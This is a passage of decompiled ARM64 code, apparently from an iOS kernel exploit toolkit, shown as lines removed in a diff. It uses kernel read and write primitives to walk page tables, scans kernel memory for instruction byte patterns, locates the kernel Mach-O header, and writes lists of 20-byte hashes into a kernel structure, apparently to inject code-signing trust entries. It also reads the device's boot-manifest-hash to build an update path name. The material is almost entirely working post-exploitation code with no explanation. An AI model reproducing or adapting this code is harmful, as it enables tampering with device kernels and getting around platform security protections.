<= obj && v10 + *(unsigned int *)(a1 + v8 + 0x5F8) > obj ) - { - if ( kreadbuf(a1, v9, 8uLL, (void *)(a1 + v8 + 0x608), a4) ) - { - result = *(__n128 *)(a1 + v8 + 0x5E8); - v29 = *(_OWORD *)(a1 + v8 + 0x5F8); - *(_QWORD *)(a3 + 0x20) = *(_QWORD *)(a1 + v8 + 0x608); - *(__n128 *)a3 = result; - *(_OWORD *)(a3 + 0x10) = v29; - return result; - } - break; - } - v8 += 0x28LL; - } - while ( v8 != 0x280 ); - if ( !*(_QWORD *)(a1 + 0x5D0) ) - { - v24 = sub_21388(a1); - if ( !v24 ) - return result; - v25 = v24; - if ( !kread64((_DWORD *)a1, v24, (__int64 *)&v41) || !kread64((_DWORD *)a1, v25 + *(int *)(a1 + 0x168), &v40) ) - return result; - if ( *(_DWORD *)(a1 + 0x180) == 0x1000 ) - v26 = 0x200; - else - v26 = 0x800; - v28 = v40; - v27 = v41; - *(_QWORD *)(a1 + 0x5D0) = v41; - *(_QWORD *)(a1 + 0x5D8) = v28; - *(_DWORD *)(a1 + 0x5E0) = v26; - sub_385F4(a1, v27); - } - if ( *(_DWORD *)(a1 + 0x180) == 0x1000 || krw_ctx_has_flag((_DWORD *)a1, 0x8000) ) - { - v12 = *(_QWORD *)(a1 + 0x5D0); - v13 = *(_QWORD *)(a1 + 0x5D8); - v14 = sub_38378(a1, v12, v13, v13); - v15 = (obj >> 0x1B) & 0x7F8; - v16 = kreadbuf(a1, v12 + v15, 8uLL, &v41, a4); - if ( !v16 ) - goto LABEL_58; - v17 = v41; - v18 = v41 & 3; - if ( (v41 & 3) == 0 ) - goto LABEL_57; - if ( v18 == 1 ) - { - v19 = v14 + v15; - v20 = 0x40000000; - v21 = 0xFFFFFFFFC0000000LL; -LABEL_14: - v22 = v21 & obj; - *(_QWORD *)a3 = v19; -LABEL_15: - *(_QWORD *)(a3 + 8) = v22; - *(_DWORD *)(a3 + 0x10) = v20; - *(_BYTE *)(a3 + 0x14) = v18; - *(_QWORD *)(a3 + 0x20) = v17; - if ( (v17 & 0x80) != 0 ) - v23 = 1; - else - v23 = 3; - *(_DWORD *)(a3 + 0x18) = ((v17 >> 0x33) & 4 | v23) ^ 4; - v16 = 1; - goto LABEL_58; - } - if ( (v41 & 0x800000000000000LL) != 0 ) - *(_DWORD *)(a3 + 0x14) |= 0x100u; - v19 = sub_38378(a1, v12, v13, v17 & 0xFFFFFFFFF000LL) + ((obj >> 0x12) & 0xFF8); - v16 = kreadbuf(a1, v19, 8uLL, &v41, a4); - if ( v16 ) - { - v17 = v41; - v18 = v41 & 3; - if ( (v41 & 3) == 0 ) - goto LABEL_57; - if ( v18 == 1 ) - { - v20 = 0x200000; - v21 = 0xFFFFFFFFFFE00000LL; - goto LABEL_14; - } - if ( (v41 & 0x800000000000000LL) != 0 ) - *(_DWORD *)(a3 + 0x14) |= 0x100u; - v19 = sub_38378(a1, v12, v13, v17 & 0xFFFFFFFFF000LL) + ((obj >> 9) & 0xFF8); - v16 = kreadbuf(a1, v19, 8uLL, &v41, a4); - if ( v16 ) - { - v17 = v41; - if ( (~(_BYTE)v41 & 3) == 0 ) - { - LOBYTE(v18) = 3; - v20 = 0x1000; - v21 = 0xFFFFFFFFFFFFF000LL; - goto LABEL_14; - } -LABEL_57: - v16 = 0; - } - } - } - else - { - if ( *(_DWORD *)(a1 + 0x180) != 0x4000 ) - return result; - v30 = *(_QWORD *)(a1 + 0x5D0); - v31 = *(_QWORD *)(a1 + 0x5D8); - has_flag = krw_ctx_has_flag((_DWORD *)a1, 0x5000008); - v33 = 0x7FF; - if ( !has_flag ) - v33 = 7; - v16 = kreadbuf(a1, v30 + 8 * (*(_QWORD *)&v33 & (obj >> 0x24)), 8uLL, &v41, a4); - if ( !v16 ) - goto LABEL_58; - v34 = v41; - if ( (~(_BYTE)v41 & 3) != 0 ) - goto LABEL_57; - if ( (v41 & 0x800000000000000LL) != 0 ) - *(_DWORD *)(a3 + 0x14) |= 0x100u; - v35 = sub_38378(a1, v30, v31, v34 & 0xFFFFFFFFC000LL) + ((obj >> 0x16) & 0x3FF8); - v16 = kreadbuf(a1, v35, 8uLL, &v41, a4); - if ( v16 ) - { - v17 = v41; - v18 = v41 & 3; - if ( (v41 & 3) == 0 ) - goto LABEL_57; - if ( v18 == 1 ) - { - v20 = 0x2000000; - v36 = 0xFFFFFFFFFE000000LL; - } - else - { - if ( (v41 & 0x800000000000000LL) != 0 ) - *(_DWORD *)(a3 + 0x14) |= 0x100u; - v35 = sub_38378(a1, v30, v31, v17 & 0xFFFFFFFFC000LL) + ((obj >> 0xB) & 0x3FF8); - v16 = kreadbuf(a1, v35, 8uLL, &v41, a4); - if ( !v16 ) - goto LABEL_58; - v17 = v41; - if ( (~(_BYTE)v41 & 3) != 0 ) - goto LABEL_57; - LOBYTE(v18) = 3; - v20 = 0x4000; - v36 = 0xFFFFFFFFFFFFC000LL; - } - v22 = v36 & obj; - *(_QWORD *)a3 = v35; - goto LABEL_15; - } - } -LABEL_58: - if ( v16 ) - { - v37 = 0LL; - while ( *(_QWORD *)(a1 + 0x5E8 + v37) ) - { - v37 += 0x28LL; - if ( v37 == 0x280 ) - return result; - } - v38 = a1 + v37 + 0x5E8; - result = *(__n128 *)a3; - v39 = *(_OWORD *)(a3 + 0x10); - *(_QWORD *)(v38 + 0x20) = *(_QWORD *)(a3 + 0x20); - *(__n128 *)v38 = result; - *(_OWORD *)(v38 + 0x10) = v39; - } - return result; -} - -//----- (000000000002183C) ---------------------------------------------------- -double __fastcall sub_2183C(__int64 a1, unsigned __int64 a2, __int64 a3) -{ - double result; // d0 - - *(_QWORD *)&result = sub_213D4(a1, a2, a3, 1LL).n128_u64[0]; - return result; -} - -//----- (0000000000021844) ---------------------------------------------------- -unsigned __int64 __fastcall get_kobject_maybe(__int64 a1, unsigned __int64 obj) -{ - int v4; // w0 - _OWORD v6[2]; // [xsp+0h] [xbp-40h] BYREF - __int64 v7; // [xsp+20h] [xbp-20h] - - v7 = 0LL; - memset(v6, 0, sizeof(v6)); - sub_213D4(a1, obj, (__int64)v6, 1LL); - if ( v4 ) - return *(_QWORD *)(a1 + 0x188) & obj | v7 & 0xFFFFFFFFC000LL; - else - return 0LL; -} -// 21878: variable 'v4' is possibly undefined - -//----- (00000000000218A8) ---------------------------------------------------- -__int64 __fastcall sub_218A8(__int64 a1, unsigned __int64 a2, __int64 a3) -{ - int v5; // w0 - _OWORD v7[2]; // [xsp+0h] [xbp-40h] BYREF - __int64 v8; // [xsp+20h] [xbp-20h] - - v8 = 0LL; - memset(v7, 0, sizeof(v7)); - sub_213D4(a1, a2, (__int64)v7, a3); - if ( v5 ) - return *(_QWORD *)(a1 + 0x188) & a2 | v8 & 0xFFFFFFFFC000LL; - else - return 0LL; -} -// 218DC: variable 'v5' is possibly undefined - -//----- (000000000002190C) ---------------------------------------------------- -__int64 __fastcall sub_2190C(int a1, _QWORD *a2) -{ - void *v3; // x0 - - if ( !a2 ) - return 0xAD001LL; - v3 = (void *)a2[3]; - if ( v3 ) - free(v3); - *(_OWORD *)a2 = 0u; - *((_OWORD *)a2 + 1) = 0u; - free(a2); - return 0LL; -} - -//----- (0000000000021960) ---------------------------------------------------- -__int64 __fastcall sub_21960(__int64 a1, vm_size_t **a2) -{ - __int64 v4; // x21 - vm_size_t *v5; // x0 - vm_size_t *v6; // x19 - vm_size_t v7; // x23 - __int64 v8; // x0 - __int64 v9; // x28 - __int64 v10; // x24 - unsigned __int64 v11; // x8 - _OWORD *v12; // x3 - __int64 v13; // x25 - char *v14; // x8 - unsigned int v15; // w8 - unsigned __int64 v16; // x24 - vm_size_t v17; // x8 - __int64 v18; // x24 - __int64 v19; // x1 - __int64 v20; // x0 - char *v21; // x1 - __int64 *v22; // x23 - unsigned __int64 v23; // x8 - unsigned __int64 v24; // x25 - __int64 *v25; // x8 - int v26; // w8 - __int64 *v27; // x0 - __int64 *v28; // x1 - unsigned __int64 v29; // x8 - __int64 v30; // x26 - _OWORD *v31; // x27 - unsigned int v32; // w9 - unsigned int v33; // w10 - int v34; // w9 - __int64 v35; // x25 - __int64 v36; // x27 - __int64 v37; // x8 - unsigned __int64 v38; // x23 - __int128 v39; // q1 - char *v40; // x1 - __int64 v42; // [xsp+0h] [xbp-F0h] - vm_size_t size; // [xsp+8h] [xbp-E8h] BYREF - __int64 v44[2]; // [xsp+10h] [xbp-E0h] BYREF - _OWORD v45[4]; // [xsp+20h] [xbp-D0h] BYREF - _OWORD v46[3]; // [xsp+60h] [xbp-90h] BYREF - - v4 = 0xAD009LL; - v5 = (vm_size_t *)calloc(0x20uLL, 1uLL); - if ( v5 ) - { - v6 = v5; - v7 = *(_QWORD *)(a1 + 0x208); - if ( v7 ) - goto LABEL_3; - v16 = *(_QWORD *)(a1 + 0x1998); - if ( v16 ) - { -LABEL_20: - v9 = 0x2800FLL; - LODWORD(v8) = kread64((_DWORD *)a1, v16, (__int64 *)&size); - if ( (_DWORD)v8 ) - { - v7 = v16; - if ( !size ) - goto LABEL_67; - v8 = validate_addr(a1, size); - if ( v8 ) - { - v17 = size; - v7 = v16; - if ( size ) - { - while ( 1 ) - { - v7 = v17; - if ( *(_QWORD *)(a1 + 0x158) <= 0x2257FFFFFFFFFFuLL ) - { - LODWORD(v8) = kreadbuf_last_1(a1, v17, 0x30LL, (__int64)v45); - if ( !(_DWORD)v8 ) - goto LABEL_43; - LODWORD(v8) = kreadbuf_last_1(a1, *((_QWORD *)&v45[0] + 1) + 4LL, 0x10LL, (__int64)v44); - if ( !(_DWORD)v8 ) - goto LABEL_43; - v17 = *(_QWORD *)&v45[0]; - } - else - { - LODWORD(v8) = kreadbuf_last_1(a1, v17, 0x28LL, (__int64)v46); - if ( !(_DWORD)v8 ) - goto LABEL_43; - LODWORD(v8) = kreadbuf_last_1(a1, *(_QWORD *)&v46[2] + 4LL, 0x10LL, (__int64)v44); - if ( !(_DWORD)v8 ) - goto LABEL_43; - v17 = *(_QWORD *)&v46[0]; - } - if ( !(v44[0] ^ 0x403020100LL | v44[1]) ) - break; - size = v17; - if ( !v17 ) - goto LABEL_67; - } - if ( size ) - { - v9 = 0LL; - v7 = size; - goto LABEL_109; - } - } -LABEL_67: - v29 = *(_QWORD *)(a1 + 0x158) >> 0x2B; - if ( v29 <= 0x44A ) - v30 = 0x30LL; - else - v30 = 0x40LL; - if ( v29 <= 0x44A ) - v31 = v46; - else - v31 = v45; - v32 = *(_DWORD *)(a1 + 0x180); - v33 = ((unsigned int)v30 | 0x5800) % v32; - v34 = v32 - v33; - if ( !v33 ) - v34 = 0; - LODWORD(size) = v34 + (v30 | 0x5800); - v8 = sub_37210(a1, (unsigned int *)&size); - if ( !v8 ) - { - v36 = 0xAD009LL; -LABEL_108: - v9 = v36; - goto LABEL_109; - } - v35 = v8; - v42 = (__int64)v31; - if ( *(_QWORD *)(a1 + 0x158) <= 0x2257FFFFFFFFFFuLL ) - { - v36 = 0x2800FLL; - if ( kread64((_DWORD *)a1, v16, v44) ) - { - v36 = 0LL; - *(_QWORD *)&v46[0] = v44[0]; - *((_QWORD *)&v46[0] + 1) = v35 + 0x18; - *(_QWORD *)&v46[1] = (unsigned int)size - 0x18LL; - HIDWORD(v46[2]) = 0; - DWORD2(v46[1]) = 1; - *(_OWORD *)((char *)&v46[1] + 0xC) = xmmword_43460; - } - } - else - { - v36 = 0x2800FLL; - if ( kread64((_DWORD *)a1, v16, v44) ) - { - v36 = 0LL; - *(_QWORD *)&v45[0] = v44[0]; - *(_OWORD *)((char *)v45 + 8) = xmmword_43450; - *((_QWORD *)&v45[1] + 1) = (unsigned int)size - 0x28LL; - *(_QWORD *)&v45[2] = v35 + 0x28; - DWORD2(v45[2]) = 1; - HIDWORD(v45[3]) = 0; - *(_OWORD *)((char *)&v45[2] + 0xC) = xmmword_43460; - } - } - if ( !(_DWORD)v36 ) - { - if ( (unsigned int)kwritebuf_last_1(a1, v35, v42, v30) ) - { - if ( krw_ctx_has_flag((_DWORD *)a1, 0x5184001) ) - { - sub_13D9C((_DWORD *)a1, v16, v35); - if ( (_DWORD)v8 ) - { -LABEL_86: - v36 = 0LL; - v7 = v35; - goto LABEL_108; - } - } - else - { - LODWORD(v8) = kwrite64(a1, v16, v35); - if ( (_DWORD)v8 ) - goto LABEL_86; - } - } - v36 = 0x28010LL; - } - LODWORD(v8) = sub_36E4C(a1, v35, (unsigned int)size); - goto LABEL_108; - } - v7 = 0LL; - v9 = 0x28011LL; - } - else - { -LABEL_43: - v7 = 0LL; - } -LABEL_109: - if ( (_DWORD)v9 ) - goto LABEL_117; - *(_QWORD *)(a1 + 0x208) = v7; -LABEL_3: - *v6 = v7; - v6[1] = 0x200000014LL; - v8 = (__int64)calloc(0x5800uLL, 1uLL); - v9 = 0xAD009LL; - if ( v8 ) - { - v10 = v8; - v6[3] = v8; - memset(v46, 0, sizeof(v46)); - memset(v45, 0, sizeof(v45)); - if ( v7 ) - { - v9 = 0x2800FLL; - v11 = *(_QWORD *)(a1 + 0x158) >> 0x2B; - if ( v11 <= 0x44A ) - v12 = v46; - else - v12 = v45; - if ( v11 <= 0x44A ) - v13 = 0x30LL; - else - v13 = 0x40LL; - LODWORD(v8) = kreadbuf_last_1(a1, v7, v13, (__int64)v12); - if ( (_DWORD)v8 ) - { - if ( *(_QWORD *)(a1 + 0x158) <= 0x2257FFFFFFFFFFuLL ) - v14 = (char *)&v46[2] + 0xC; - else - v14 = (char *)&v45[3] + 0xC; - v15 = *(_DWORD *)v14; - if ( v15 > 0x3FF ) - { - v9 = 0xAD00CLL; - } - else - { - *((_DWORD *)v6 + 4) = v15; - if ( !v15 || (LODWORD(v8) = kreadbuf_last_1(a1, v7 + v13, 0x16 * v15, v10), (_DWORD)v8) ) - { - v4 = 0LL; - *a2 = v6; - return v4; - } - } - } - } - else - { - v9 = 0xAD001LL; - } - } -LABEL_117: - sub_2190C(v8, v6); - return v9; - } - v8 = *(_QWORD *)(a1 + 0x19F8); - if ( !v8 ) - { -LABEL_116: - v9 = 0xAD011LL; - goto LABEL_117; - } - if ( *(_QWORD *)(a1 + 0x158) >> 0x2B < 0x44BuLL ) - { - sub_39B70(a1, v45); - if ( *(_QWORD *)(a1 + 0x158) <= 0x1F541DFFFFFFFFuLL ) - v21 = "0A 05 40 F9 2B 11 40 39"; - else - v21 = "0B 05 40 F9 6C 11 40 39"; - v46[0] = v45[0]; - *(_QWORD *)&v46[1] = *(_QWORD *)&v45[1]; - v8 = kernel_pattern_scan((__int64)v46, v21, 0); - if ( v8 ) - { - v22 = (__int64 *)v8; - v23 = *(_QWORD *)(a1 + 0x158); - if ( v23 < 0x1C1B0002E00000LL ) - { - v27 = *(__int64 **)(a1 + 0x19F8); - if ( v23 < 0x18091980200000LL ) - v28 = v22 + 0xFFFFFFFE; - else - v28 = (__int64 *)((char *)v22 + 0xFFFFFFE4); -LABEL_112: - v8 = sub_1E854(v27, v28); - goto LABEL_113; - } - v24 = v8 - 0x40; - if ( v8 - 4 >= (unsigned __int64)(v8 - 0x40) ) - { - do - { - LODWORD(v8) = sub_19ACC(*(__int64 **)(a1 + 0x19F8), (__int64 *)((char *)v22 + 0xFFFFFFFC)); - if ( (v8 & 0x9F000000) == 0x90000000 ) - { - LODWORD(v8) = sub_19ACC(*(__int64 **)(a1 + 0x19F8), v22); - if ( (v8 & 0xBFC00000) == 0xB9400000 ) - goto LABEL_111; - } - else if ( (_DWORD)v8 == 0xD503201F ) - { - LODWORD(v8) = sub_19ACC(*(__int64 **)(a1 + 0x19F8), v22); - if ( BYTE3(v8) == 0x58 ) - { -LABEL_111: - v27 = *(__int64 **)(a1 + 0x19F8); - v28 = (__int64 *)((char *)v22 + 0xFFFFFFFC); - goto LABEL_112; - } - } - v25 = v22 + 0xFFFFFFFF; - v22 = (__int64 *)((char *)v22 + 0xFFFFFFFC); - } - while ( (unsigned __int64)v25 >= v24 ); - } - } - } - else - { - sub_19D10(v8, v46); - if ( krw_ctx_has_flag((_DWORD *)a1, 0x20) ) - { - v18 = *(_QWORD *)(a1 + 0x1D38); - if ( v18 ) - { -LABEL_39: - sub_19D10(v18, v45); - v8 = kernel_pattern_scan( - (__int64)v45, - "1F 20 03 D5 .. .. .. .. .. .. .. .. .. .. .. .. 08 05 00 51 1F F9 03 71", - 0); - if ( v8 ) - { - v8 = sub_1EB2C(*(__int64 **)(a1 + 0x1D38), (__int64 *)(v8 - 4), 0); - if ( v8 ) - { - v8 = sub_19B94(*(_QWORD *)(a1 + 0x1D38), v8 + 0x20); - if ( v8 ) - { - v19 = v8; - v20 = *(_QWORD *)(a1 + 0x1D38); -LABEL_102: - v8 = sub_19B94(v20, v19); -LABEL_113: - v16 = v8; - if ( v8 ) - *(_QWORD *)(a1 + 0x1998) = v8; -LABEL_115: - if ( v16 ) - goto LABEL_20; - goto LABEL_116; - } - } - } - } - else - { - LODWORD(v8) = krw_ctx_has_flag((_DWORD *)a1, 0x20); - if ( (_DWORD)v8 ) - { - v37 = *(_QWORD *)(*(_QWORD *)(a1 + 0x118) + 0x148LL); - if ( v37 ) - { - LODWORD(v44[0]) = 0; - v38 = v37 & ~*(_QWORD *)(a1 + 0x188); - while ( 1 ) - { - v38 -= *(unsigned int *)(a1 + 0x180); - LODWORD(v8) = kread32_outptr(a1, v38, v44); - if ( !(_DWORD)v8 ) - break; - if ( LODWORD(v44[0]) == 0xFEEDFACF ) - { - if ( v38 ) - { - v8 = (__int64)calloc(0x128uLL, 1uLL); - if ( v8 ) - { - v18 = v8; - sub_19DD4(v8, a1); - v39 = *(_OWORD *)(a1 + 0x150); - *(_OWORD *)(v18 + 0x70) = *(_OWORD *)(a1 + 0x140); - *(_OWORD *)(v18 + 0x80) = v39; - *(_QWORD *)(v18 + 0x90) = *(_QWORD *)(a1 + 0x160); - *(_DWORD *)(v18 + 0x98) = *(_DWORD *)(a1 + 0x178); - *(_DWORD *)(v18 + 0x38) = *(_DWORD *)(a1 + 0x180); - LODWORD(v8) = sub_1A0D4(v18, 0, v38, 0); - if ( (_DWORD)v8 ) - { - *(_QWORD *)(a1 + 0x1D38) = v18; - goto LABEL_39; - } - } - } - break; - } - } - } - } - } - } - else - { - v26 = *(_DWORD *)(a1 + 0x140); - if ( v26 < 0x2712 ) - { - if ( v26 <= 0x225B ) - v40 = "3F 7D 01 A9 .. .. .. .. 5F 01 00 F9"; - else - v40 = "00 E4 00 .. 20 01 00 AD .. .. .. .. 5F 01 00 F9"; - v45[0] = v46[0]; - *(_QWORD *)&v45[1] = *(_QWORD *)&v46[1]; - v8 = kernel_pattern_scan((__int64)v45, v40, 0); - if ( v8 ) - { - v8 = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v8 - 0xC)); - if ( v8 ) - { - v19 = v8; - v20 = *(_QWORD *)(a1 + 0x19F8); - goto LABEL_102; - } - } - } - else - { - v45[0] = v46[0]; - *(_QWORD *)&v45[1] = *(_QWORD *)&v46[1]; - v8 = kernel_pattern_scan((__int64)v45, "E0 03 13 AA 01 00 80 52 02 05 80 52 .. .. .. .. E0 03", 0); - if ( v8 ) - { - v8 = sub_1E854(*(__int64 **)(a1 + 0x19F8), (__int64 *)(v8 - 0x14)); - if ( v8 ) - { - v19 = v8 + *(int *)(a1 + 0x168); - v20 = *(_QWORD *)(a1 + 0x19F8); - goto LABEL_102; - } - } - } - } - } - v16 = 0LL; - goto LABEL_115; - } - return v4; -} -// 21F64: variable 'v8' is possibly undefined -// 19B94: using guessed type __int64 __fastcall sub_19B94(_QWORD, _QWORD); -// 43450: using guessed type __int128 xmmword_43450; -// 43460: using guessed type __int128 xmmword_43460; - -//----- (0000000000022144) ---------------------------------------------------- -bool __fastcall sub_22144(int a1, __int64 a2, void *__s2, size_t __n) -{ - __int64 v4; // x21 - __int64 v5; // x8 - unsigned int v7; // w22 - size_t v8; // x20 - int v9; // w23 - __int64 v10; // x24 - int v11; // w8 - _BOOL8 result; // x0 - bool v13; // zf - - if ( !a2 ) - return 0LL; - v4 = *(_QWORD *)(a2 + 0x18); - if ( !v4 ) - return 0LL; - v5 = *(unsigned int *)(a2 + 0x10); - if ( !(_DWORD)v5 || *(_DWORD *)(a2 + 8) != (_DWORD)__n ) - return 0LL; - v7 = 0; - v8 = (unsigned int)__n; - v9 = *(_DWORD *)(a2 + 0xC) + __n; - v10 = v5 - 1; - do - { - v11 = memcmp((const void *)(v4 + v7), __s2, v8); - result = v11 == 0; - v7 += v9; - if ( v11 ) - v13 = v10 == 0; - else - v13 = 1; - --v10; - } - while ( !v13 ); - return result; -} - -//----- (00000000000221E0) ---------------------------------------------------- -size_t __fastcall sub_221E0(int a1, __int64 a2, void *a3, size_t __n) -{ - size_t v4; // x19 - __int64 v6; // x23 - unsigned int v7; // w22 - unsigned int v9; // w8 - void *v10; // x23 - int v11; // w9 - void *v12; // x21 - size_t v13; // x20 - int (__cdecl *v14)(const void *, const void *); // x0 - - v4 = 0xAD001LL; - if ( a2 ) - { - v6 = *(_QWORD *)(a2 + 0x18); - if ( v6 ) - { - v7 = __n; - if ( *(_DWORD *)(a2 + 8) == (_DWORD)__n ) - { - if ( sub_22144(a1, a2, a3, __n) ) - return 0LL; - v9 = *(_DWORD *)(a2 + 0x10); - if ( v9 > 0x3FF ) - return 0xAD00CLL; - v10 = (void *)(v6 + (*(_DWORD *)(a2 + 0xC) + v7) * v9); - memcpy(v10, a3, v7); - v11 = *(_DWORD *)(a2 + 0xC); - ++*(_DWORD *)(a2 + 0x10); - if ( v11 == 2 ) - { - *((_BYTE *)v10 + *(unsigned int *)(a2 + 8)) = 2; - *((_BYTE *)v10 + (unsigned int)(*(_DWORD *)(a2 + 8) + 1)) = 0; - } - v12 = *(void **)(a2 + 0x18); - if ( v12 ) - { - v4 = *(unsigned int *)(a2 + 0x10); - if ( (_DWORD)v4 ) - { - v13 = (unsigned int)(*(_DWORD *)(a2 + 0xC) + *(_DWORD *)(a2 + 8)); - v14 = (int (__cdecl *)(const void *, const void *))nullsub_1(sub_22470); - qsort(v12, v4, v13, v14); - return 0LL; - } - } - } - } - } - return v4; -} -// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); - -//----- (00000000000222F0) ---------------------------------------------------- -__int64 __fastcall sub_222F0(__int64 a1, __int64 a2) -{ - __int64 v2; // x19 - __int64 v4; // x2 - unsigned __int64 v6; // x22 - __int64 v7; // x9 - __int64 v8; // x8 - - v2 = 0xAD001LL; - if ( a2 ) - { - v4 = *(_QWORD *)(a2 + 0x18); - if ( v4 ) - { - if ( *(_QWORD *)a2 ) - { - v2 = 0x28010LL; - v6 = *(_QWORD *)(a1 + 0x158) >> 0x2B; - v7 = 0x30LL; - if ( v6 > 0x44A ) - v7 = 0x40LL; - if ( (unsigned int)kwritebuf_last_1( - a1, - v7 + *(_QWORD *)a2, - v4, - (unsigned int)((*(_DWORD *)(a2 + 0xC) + *(_DWORD *)(a2 + 8)) * *(_DWORD *)(a2 + 0x10))) ) - { - v8 = 0x2CLL; - if ( v6 > 0x44A ) - v8 = 0x3CLL; - if ( noppl_kwrite32(a1, *(_QWORD *)a2 + v8, *(_DWORD *)(a2 + 0x10)) ) - return 0LL; - else - return 0x28010LL; - } - } - } - } - return v2; -} - -//----- (00000000000223A4) ---------------------------------------------------- -bool __fastcall sub_223A4(__int64 a1, unsigned int a2, int a3, __int64 a4) -{ - int v7; // w22 - _QWORD *v8; // x21 - __int64 v9; // x24 - __int64 v10; // x23 - int v11; // w0 - int v13[2]; // [xsp+8h] [xbp-38h] BYREF - - *(_QWORD *)v13 = 0LL; - if ( a3 == 0x14 ) - { - v7 = sub_21960(a1, (vm_size_t **)v13); - if ( !v7 ) - { - v8 = *(_QWORD **)v13; - if ( a2 ) - { - v9 = 0LL; - v10 = 0x14LL * a2; - while ( 1 ) - { - v11 = sub_221E0(0, (__int64)v8, (void *)(a4 + ((unsigned int)v9 & 0xFFFFFFFC)), 0x14uLL); - if ( v11 ) - break; - v9 += 0x14LL; - if ( v10 == v9 ) - goto LABEL_7; - } - } - else - { -LABEL_7: - v11 = sub_222F0(a1, (__int64)v8); - } - v7 = v11; - sub_2190C(v11, v8); - } - } - else - { - v7 = 0xAD001; - } - return v7 == 0; -} - -//----- (0000000000022464) ---------------------------------------------------- -bool __fastcall sub_22464(__int64 a1, __int64 a2, int a3) -{ - return sub_223A4(a1, 1u, a3, a2); -} - -//----- (0000000000022470) ---------------------------------------------------- -__int64 __fastcall sub_22470(__int64 a1, __int64 a2) -{ - __int64 v2; // x8 - unsigned int v3; // w9 - unsigned int v4; // w10 - - v2 = 0LL; - while ( 1 ) - { - v3 = *(unsigned __int8 *)(a1 + v2); - v4 = *(unsigned __int8 *)(a2 + v2); - if ( v3 < v4 ) - return 0xFFFFFFFFLL; - if ( v3 > v4 ) - break; - if ( ++v2 == 0x14 ) - return 0LL; - } - return 1LL; -} - -//----- (00000000000224AC) ---------------------------------------------------- -__int64 __fastcall sub_224AC(__int64 a1, unsigned int a2) -{ - return sub_32D6C(*(_QWORD *)(a1 + 0x20), a2); -} - -//----- (00000000000224B4) ---------------------------------------------------- -unsigned __int64 __fastcall sub_224B4(__int64 a1, unsigned int a2) -{ - return port_name_to_kaddr(*(_QWORD *)(a1 + 0x20), a2); -} - -//----- (00000000000224BC) ---------------------------------------------------- -__int64 __fastcall sub_224BC(char **a1, unsigned int a2) -{ - io_registry_entry_t v4; // w0 - io_registry_entry_t v5; // w20 - const __CFString *v6; // x0 - const __CFString *v7; // x22 - CFTypeRef CFProperty; // x0 - const void *v9; // x23 - CFTypeID TypeID; // x24 - CFIndex Length; // x24 - const UInt8 *BytePtr; // x0 - _BYTE *v13; // x8 - int v14; // t1 - char *v15; // x0 - __int64 v16; // x19 - char __str[16]; // [xsp+10h] [xbp-350h] BYREF - __int128 v19; // [xsp+20h] [xbp-340h] - __int128 v20; // [xsp+30h] [xbp-330h] - __int128 v21; // [xsp+40h] [xbp-320h] - __int128 v22; // [xsp+50h] [xbp-310h] - __int128 v23; // [xsp+60h] [xbp-300h] - __int128 v24; // [xsp+70h] [xbp-2F0h] - __int128 v25; // [xsp+80h] [xbp-2E0h] - __int128 v26; // [xsp+90h] [xbp-2D0h] - __int128 v27; // [xsp+A0h] [xbp-2C0h] - __int128 v28; // [xsp+B0h] [xbp-2B0h] - __int128 v29; // [xsp+C0h] [xbp-2A0h] - __int128 v30; // [xsp+D0h] [xbp-290h] - __int128 v31; // [xsp+E0h] [xbp-280h] - __int128 v32; // [xsp+F0h] [xbp-270h] - __int128 v33; // [xsp+100h] [xbp-260h] - __int128 v34; // [xsp+110h] [xbp-250h] - __int128 v35; // [xsp+120h] [xbp-240h] - __int128 v36; // [xsp+130h] [xbp-230h] - __int128 v37; // [xsp+140h] [xbp-220h] - __int128 v38; // [xsp+150h] [xbp-210h] - __int128 v39; // [xsp+160h] [xbp-200h] - __int128 v40; // [xsp+170h] [xbp-1F0h] - __int128 v41; // [xsp+180h] [xbp-1E0h] - __int128 v42; // [xsp+190h] [xbp-1D0h] - __int128 v43; // [xsp+1A0h] [xbp-1C0h] - __int128 v44; // [xsp+1B0h] [xbp-1B0h] - __int128 v45; // [xsp+1C0h] [xbp-1A0h] - __int128 v46; // [xsp+1D0h] [xbp-190h] - __int128 v47; // [xsp+1E0h] [xbp-180h] - __int128 v48; // [xsp+1F0h] [xbp-170h] - __int128 v49; // [xsp+200h] [xbp-160h] - _OWORD v50[16]; // [xsp+210h] [xbp-150h] BYREF - - memset(v50, 0, sizeof(v50)); - v48 = 0u; - v49 = 0u; - v46 = 0u; - v47 = 0u; - v44 = 0u; - v45 = 0u; - v42 = 0u; - v43 = 0u; - v40 = 0u; - v41 = 0u; - v38 = 0u; - v39 = 0u; - v36 = 0u; - v37 = 0u; - v34 = 0u; - v35 = 0u; - v32 = 0u; - v33 = 0u; - v30 = 0u; - v31 = 0u; - v28 = 0u; - v29 = 0u; - v26 = 0u; - v27 = 0u; - v24 = 0u; - v25 = 0u; - v22 = 0u; - v23 = 0u; - v20 = 0u; - v21 = 0u; - *(_OWORD *)__str = 0u; - v19 = 0u; - v4 = IORegistryEntryFromPath(kIOMasterPortDefault, "IODeviceTree:/chosen"); - if ( !v4 ) - return 0LL; - v5 = v4; - v6 = CFStringCreateWithCString(kCFAllocatorDefault, "boot-manifest-hash", 0x8000100u); - if ( v6 ) - { - v7 = v6; - CFProperty = IORegistryEntryCreateCFProperty(v5, v6, kCFAllocatorDefault, 0); - if ( CFProperty ) - { - v9 = CFProperty; - TypeID = CFDataGetTypeID(); - if ( TypeID != CFGetTypeID(v9) ) - goto LABEL_12; - Length = CFDataGetLength((CFDataRef)v9); - BytePtr = CFDataGetBytePtr((CFDataRef)v9); - if ( (unsigned __int64)(Length - 1) > 0x7E ) - goto LABEL_12; - v13 = v50; - do - { - v14 = *BytePtr++; - *v13 = a0123456789abcd[(unsigned __int8)(v14 ^ a2) >> 4]; - v13[1] = a0123456789abcd[(v14 ^ a2) & 0xFLL]; - v13 += 2; - LODWORD(Length) = Length - 1; - } - while ( (_DWORD)Length ); - snprintf(__str, 0x200uLL, "com.apple.os.update-%s", (const char *)v50); - v15 = strdup(__str); - if ( v15 ) - { - *a1 = v15; - v16 = 1LL; - } - else - { -LABEL_12: - v16 = 0LL; - } - CFRelease(v9); - } - else - { - v16 = 0LL; - } - CFRelease(v7); - } - else - { - v16 = 0LL; - } - IOObjectRelease(v5); - return v16; -} - -//----- (00000000000226D4) ---------------------------------------------------- -__int64 sub_226D4() -{ - __int64 result; // x0 - - result = sub_4100C(0xFFLL, 0LL, 0LL, 0LL, 0LL, 0LL); - if ( (_DWORD)result ) - return *__error() != 1; - return result; -} - -//----- 